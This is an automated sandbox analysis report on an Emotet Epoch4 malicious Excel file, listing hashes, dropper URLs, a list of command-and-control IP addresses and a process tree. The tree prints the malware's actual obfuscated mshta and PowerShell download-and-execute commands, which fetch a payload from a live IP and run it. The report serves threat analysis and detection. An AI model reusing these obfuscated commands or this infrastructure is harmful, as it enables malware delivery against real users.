emotet | 561847579c37e27beebaca3d4cd8ac3082a5ad5c2cd0a896c3cd8118e44cd3aa

Analysis

max time kernel
127s
max time network
154s
platform
windows10_x64
resource
win10-en-20211208
submitted
24/12/2021, 05:10

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General

Target
U10653238588596.xls
Size 65KB
Sample211224-ftqdhadbdq
SHA256 561847579c37e27beebaca3d4cd8ac3082a5ad5c2cd0a896c3cd8118e44cd3aa
MD5 20267968414668b89ba563844544fff5
SHA1 2b20a25b4192d014878d99d0c2e76819ffe4cd6a
SHA512 8ce562510dd4b80ea27f395c0ebfe7f792121dd69c7b70b1da02664e21640658594f419d7c8c1fb88859003e5a223024c7db8181a76d4134b14cf68e488a13a9
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/aa.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP2.PNG

Extracted

Family

emotet

Botnet

Epoch4

144.217.91.150:443
51.38.71.0:443
212.237.56.116:7080
79.172.212.216:8080
178.79.147.66:8080
138.185.72.26:8080
192.254.71.210:443
178.63.25.185:443
195.154.133.20:443
45.118.135.203:7080
81.0.236.90:443
107.182.225.142:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.118.115.99:8080
216.158.226.206:443
104.168.155.129:8080
110.232.117.186:8080
176.104.106.96:8080
46.55.222.11:443
51.68.175.8:8080
207.38.84.195:8080
58.227.42.236:80
45.176.232.124:443
104.251.214.46:8080
103.8.26.102:8080
45.142.114.231:8080
217.182.143.207:443
41.76.108.46:8080
212.237.5.209:443
103.8.26.103:8080
212.237.17.99:8080
173.212.193.249:8080
158.69.222.101:443
103.75.201.2:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2092	1840	cmd.exe	68

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
22	2304	mshta.exe
26	3188	powershell.exe
28	3188	powershell.exe
30	3188	powershell.exe
48	1512	rundll32.exe
50	1512	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1184	rundll32.exe
3732	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hkvqudarn\dwlbt.yoz	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2952	2304	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1840	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3188	powershell.exe
3188	powershell.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
2952	WerFault.exe
3188	powershell.exe
1512	rundll32.exe
1512	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeDebugPrivilege	2952	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE
1840	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1840 wrote to memory of 2092	1840	EXCEL.EXE	70
PID 1840 wrote to memory of 2092	1840	EXCEL.EXE	70
PID 2092 wrote to memory of 2304	2092	cmd.exe	72
PID 2092 wrote to memory of 2304	2092	cmd.exe	72
PID 2304 wrote to memory of 3188	2304	mshta.exe	74
PID 2304 wrote to memory of 3188	2304	mshta.exe	74
PID 3188 wrote to memory of 3896	3188	powershell.exe	77
PID 3188 wrote to memory of 3896	3188	powershell.exe	77
PID 3896 wrote to memory of 1184	3896	cmd.exe	78
PID 3896 wrote to memory of 1184	3896	cmd.exe	78
PID 3896 wrote to memory of 1184	3896	cmd.exe	78
PID 1184 wrote to memory of 3732	1184	rundll32.exe	79
PID 1184 wrote to memory of 3732	1184	rundll32.exe	79
PID 1184 wrote to memory of 3732	1184	rundll32.exe	79
PID 3732 wrote to memory of 2000	3732	rundll32.exe	81
PID 3732 wrote to memory of 2000	3732	rundll32.exe	81
PID 3732 wrote to memory of 2000	3732	rundll32.exe	81
PID 2000 wrote to memory of 1512	2000	rundll32.exe	82
PID 2000 wrote to memory of 1512	2000	rundll32.exe	82
PID 2000 wrote to memory of 1512	2000	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\U10653238588596.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP2.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3188
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3896
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1184
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3732
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hkvqudarn\dwlbt.yoz",JIVIIGHyCQdzGpt
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2000
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hkvqudarn\dwlbt.yoz",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1512
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2304 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1184-324-0x0000000000570000-0x0000000000597000-memory.dmp

Download

memory/1512-340-0x0000000000740000-0x0000000000767000-memory.dmp

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memory/1840-122-0x000001B849260000-0x000001B849262000-memory.dmp

Download

memory/1840-119-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/1840-129-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

Download

memory/1840-115-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

Download

memory/1840-120-0x000001B849260000-0x000001B849262000-memory.dmp

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memory/1840-116-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/1840-128-0x00007FFDEBBB0000-0x00007FFDEBBC0000-memory.dmp

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memory/1840-117-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/1840-121-0x000001B849260000-0x000001B849262000-memory.dmp

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memory/1840-118-0x00007FFDEE7B0000-0x00007FFDEE7C0000-memory.dmp

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memory/2000-339-0x00000000048F0000-0x0000000004917000-memory.dmp

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memory/3188-303-0x00000296BFE76000-0x00000296BFE78000-memory.dmp

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memory/3188-298-0x00000296D8BA0000-0x00000296D8C16000-memory.dmp

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memory/3188-287-0x00000296D8AE0000-0x00000296D8B1C000-memory.dmp

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memory/3188-274-0x00000296BFE73000-0x00000296BFE75000-memory.dmp

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memory/3188-273-0x00000296BFE70000-0x00000296BFE72000-memory.dmp

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memory/3188-266-0x00000296C0300000-0x00000296C0322000-memory.dmp

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memory/3732-334-0x0000000002E00000-0x0000000002F4A000-memory.dmp

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